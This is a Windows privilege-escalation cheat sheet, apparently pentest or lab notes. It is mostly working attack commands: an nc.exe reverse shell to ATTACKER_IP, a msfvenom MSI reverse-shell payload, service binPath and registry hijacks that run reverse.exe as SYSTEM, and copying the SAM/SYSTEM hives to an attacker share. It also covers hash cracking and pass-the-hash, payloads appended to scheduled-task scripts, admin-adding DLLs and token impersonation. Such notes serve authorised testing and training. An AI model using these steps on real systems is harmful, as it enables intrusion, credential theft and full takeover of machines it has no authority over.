🪟 Windows Privilege Escalation
Mental checklist
Privilege abuse → credential hunting → service misconfiguration → scheduled tasks → others.
Auto-enum tools: winPEAS.exe (broadest) · PrivescCheck.ps1 · PowerUp.ps1 · SharpUp.exe · Seatbelt.exe.
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"
nc.exe -e cmd.exe ATTACKER_IP 4444 # simple reverse shell back to KaliWindows command reference
General CMD/PS usage, handy during privesc and from a web shell.
CMD ↔ PowerShell map
| Task | CMD | PowerShell |
|---|---|---|
| Read file | type file.txt | Get-Content file.txt |
| Rename | ren old new | Rename-Item old -NewName new |
| Copy | copy src dest | Copy-Item src -Destination dest |
| List all (incl. hidden) | dir /a | Get-ChildItem -Force |
| Recurse tree | tree /F | Get-ChildItem -Recurse | Select FullName |
| List users | net user | Get-LocalUser |
| Group members | net localgroup X | Get-LocalGroupMember X |
| Set password | net user U pw | Set-LocalUser U -Password (ConvertTo-SecureString "pw" -AsPlainText -Force) |
Run a program
cmd /c prog.exe # run, then exit
cmd /k cmd # run, keep the window open
START /MIN prog # minimized window
START /B prog # background, no new console
Start-Process shell.exe -NoNewWindow
Start-Process shell.exe -WindowStyle Hidden
powershell -ep bypass # bypass execution policyServices
sc start NAME # CMD: start a service
sc stop NAME # CMD: stop a service
Start-Service -Name spooler # PS equivalents
Stop-Service -Name spoolerDownloads (curl / certutil / iwr / WebClient / IEX) live in file-transfer.
Permissions — icacls
icacls "C:\Program Files\App" # view permissions
icacls "C:\Folder" /grant eviluser:(OI)(CI)F /T # grant full control, recursiveAttributes: R readonly · H hidden · S system · A archive.
Remote desktop
xfreerdp /v:IP /u:user /p:pass /size:100% /dynamic-resolutionInteresting paths
C:\Windows\win.ini
C:\Users\<user>\.ssh\id_rsa
C:\xampp\passwords.txt
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\phpmyadmin\config.inc.php
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\PSReadline # PS historyEnumeration
Users & groups
whoami /priv # current privileges (look for Se*Privilege)
whoami /group # group memberships
net users # local accounts
net user <u> # detail on one user
net localgroup # local groups
net localgroup <g> # members of one group
qwinsta # logged-on sessions
Get-LocalUser # PS: local accounts
Get-LocalGroupMember "Administrators"System
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe get Caption,HotFixID,InstalledOn # installed patches
netstat -ano # connections + PIDs
schtasks /query /fo LIST /v # scheduled tasks
driverquery # drivers
sc query windefend # Defender status
Get-ItemProperty "HKLM:\SOFTWARE\...\Uninstall\*" | select displayname # installed apps
(Get-PSReadlineOption).HistorySavePath # PS history locationCredential hunting
findstr /si password *.txt # search files for "password"Service exploits (Tib3rius-style)
All four follow the same idea: find a service you can influence, point it at your payload, (re)start it. It runs as SYSTEM.
1. Insecure service permissions (change the binary path)
When: your user has
SERVICE_CHANGE_CONFIGon a service. Goal: rewrite itsbinPath.
- Confirm you can reconfigure the service:
accesschk.exe /accepteula -uwcqv user daclsvc # look for SERVICE_CHANGE_CONFIG - Inspect the current config:
sc qc daclsvc - Point the binary at your reverse shell:
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\"" - Start it to trigger the payload:
net start daclsvc
2. Unquoted service path
When: a SYSTEM service’s path has spaces and no quotes, and you can write to an earlier folder. Goal: drop a binary Windows runs before the intended one.
- Find unquoted paths outside
C:\Windows:wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """ - Confirm it runs as SYSTEM:
sc qc unquotedsvc # SERVICE_START_NAME: LocalSystem - Confirm you can write to a folder earlier in the path:
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\" - Drop the payload named after the first path segment, then start:
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe" net start unquotedsvc
3. Writable service binary
When: you can overwrite the service’s
.exeon disk.
- Confirm it runs as SYSTEM:
sc qc filepermsvc - Confirm the binary is writable:
accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe" - Replace it and restart:
copy C:\PrivEsc\reverse.exe "...\filepermservice.exe" /Y net start filepermsvc
4. Weak registry permission
When: you can write the service’s registry key (e.g. as
NT AUTHORITY\INTERACTIVE).
- Inspect:
sc qc regsvc - Confirm write access to the key:
accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc - Overwrite
ImagePathand start:reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f net start regsvc
5. Replaceable binary via PowerUp
- List modifiable service files:
Get-ModifiableServiceFile - Build an “add admin” binary (payload calls
net user ... /add+net localgroup administrators ... /add):x86_64-w64-mingw32-gcc adduser.c -o adduser.exe - Replace the binary, then restart the service:
net stop mysql net start mysqlIf it won’t restart: check
StartMode/ShutdownPriv; if allowed, reboot withshutdown /r /t 0.
6. DLL hijack
When: a service loads a DLL that is missing from a writable path.
- Run procmon and watch for a
NAME NOT FOUNDon a DLL in a writable directory. - Build a malicious DLL whose
DllMainadds an admin user:x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll - Drop it in that path and restart the service.
Registry & credential escalation
AlwaysInstallElevated (MSI as SYSTEM)
When: both registry values below are
0x1.
- Check the policy:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated - Build an MSI reverse shell on Kali:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=53 -f msi -o reverse.msi - Start a listener, then run it:
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
Passwords & saved creds
reg query HKLM /f password /t REG_SZ /s # search registry for passwords
winexe -U 'admin%password' //10.10.136.78 cmd.exe
cmdkey /list # saved credentialsSAM / SYSTEM extraction
- Copy the hives off the box (e.g. over SMB):
copy C:\Windows\Repair\SAM \\10.10.10.10\kali\ copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\ - Dump the local hashes:
python3 creddump7/pwdump.py SYSTEM SAM - Crack (hash-cracking) or Pass-the-Hash:
hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa...' //10.10.136.78 cmd.exe
Scheduled tasks & startup
schtasks /query /fo LIST /v # list tasks
accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 # script writable?
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1 # append payloadWritable startup folder:
accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
cscript C:\PrivEsc\CreateShortcut.vbs # drop a .lnk to reverse.exeToken impersonation
When: your context holds
SeImpersonatePrivilege(service accounts often do).
- Confirm the privilege:
whoami /priv - From Meterpreter:
load incognito list_tokens -g impersonate_token "BUILTIN\Administrators" ps migrate <PID>
Tools that abuse this directly: PrintSpoofer, RoguePotato (Win10 / Server 2019).
Other leads
- Kernel exploit suggester:
python windows-exploit-suggester.py -i sysinfo.txt -d <mssb.xls> - Insecure GUI app:
tasklist /V | findstr mspaint.exe→ openfile://c:/windows/system32/cmd.exe - Lateral movement: PsExec (SMB 445) · WinRM (5985/5986) · WMIExec (DCOM/RPC 135+) — see tools
- IIS/ASP app: check allowed upload types;
web.config
References: Kernel Exploits pt.1 · InternalAllTheThings — Windows · PrivescCheck · AccessChk.